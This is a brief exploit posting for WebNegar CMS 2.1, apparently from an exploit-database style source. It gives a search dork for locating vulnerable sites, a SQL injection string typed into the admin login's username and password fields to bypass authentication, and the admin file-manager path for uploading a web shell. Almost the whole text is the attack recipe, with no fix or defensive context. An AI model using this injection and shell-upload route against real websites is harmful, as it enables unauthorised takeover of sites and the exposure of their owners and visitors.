Social-net7sec

# Exploit title: WebNegar CMS 2.1 Admin Bypass
# Date: 2017-05-31
# Tested on: Win7
# Author: M@rAz Ali
# Dork : intext:"Powered by WebNegar CMS"
############################################################################
Target : site.com
http://site.com/admin
Bypass : 'or' '=' < Username,Password
Shell Upload
> site.com/admin/?type=files&list=files
Upload Dir > site.com/files/u files